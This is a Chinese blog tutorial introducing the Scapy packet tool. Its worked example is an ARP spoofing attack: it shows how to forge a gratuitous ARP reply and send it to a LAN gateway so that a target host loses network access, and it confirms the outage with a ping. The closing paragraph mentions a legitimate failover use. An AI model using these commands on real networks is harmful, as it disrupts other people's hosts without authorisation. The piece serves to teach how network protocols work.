1. 程式人生 > 其它 >網路協議從入門到上癮--初識Scapy

網路協議從入門到上癮--初識Scapy

技術標籤:網路協議ScapyARP網路協議網路協議

網際網路的核心是一系列協議,總稱為“網際網路協議”。它們對電腦如何連線和組網,做出來詳盡的規定。理解了這些協議,就是理解了網際網路的原理。

在面試或者工作過程中,我們對我們知道的網路協議侃侃而談,五層模型,osi七層模型,三次握手,四次揮手,TCP/IP協議族,ICMP,ARP,HTTP,SNMP,廣播,多播,組播,單播等等概念信手拈來。但是當遇到無法解決的網路問題時,我們可能開始懷疑自己是否真的理解了這些協議。畢竟大部分時候,我們只是記憶了這些概念,並在工作中利用前人發明的網路工具和經驗解決工作中遇到的問題。

Scapy是一個建立在Python環境之上的網路資料包操作程式,可以很容易隨意操控網路資料包,從而利用它很容易的理解網路協議的工作原理。

下面利用網路協議和Scapy實現一個有意思的程式:

使用Scapy攻擊區域網主機,使被攻擊主機斷網。原理很簡單,就是利用免費ARP,修改閘道器中被攻擊主機的ARP快取。

1.查詢區域網閘道器

[[email protected] ~]# ip route
default via 192.168.91.254 dev ens192
169.254.0.0/16 dev ens192 scope link metric 1002

其中,192.168.91.254即是區域網閘道器ip地址。

2.安裝Scapy

pip install scapy

3.在命令列執行scapy,啟動scapy交換介面

4.使用Scapy構建免費ARP應答包

>>>arp = ARP(op=2,hwsrc="00:0c:22:33:cc:cc",hwdst="80:05:88:b5:88:64",pdst='192.168.91.254',psrc='192.168.90.22')

其中,op=2表示該arp包是應答包(根據arp協議,1表示請求,2表示應答);該arp包模擬了192.168.90.22應答閘道器192.168.91.254的arp應答包,閘道器收到該應答包後,會更新arp快取,即修改192.168.90.22的mac為00:0c:22:33:cc:cc。

5.傳送ARP應答包

>>>sendp(Ether(dst="80:05:88:b5:88:64")/arp)

向閘道器傳送免費arp應答包,重新整理閘道器ARP快取。ARP請求是廣播方式,ARP應答是單播方式。dst是閘道器的mac地址。

6.在被攻擊主機中ping有效ip地址,檢測被攻擊主機網路是否受到影響

[[email protected] ~]# ping www.baidu.com
ping: www.baidu.com: Name or service not known

小結

上述實驗只是Scapy的一個小應用,看似很雞肋,且沒有任何實用價值,但是在實際中工作中是有用武之地的。比如在高可用場景下,網路服務發生主備切換,如果剛切換到主機的mac地址不能很快通知閘道器,則閘道器將會繼續把流量傳送給剛降級的備機。通過主動傳送免費arp應答包,可以避免此類問題。

如果對雲端計算感興趣,可以關注我的微信公眾號: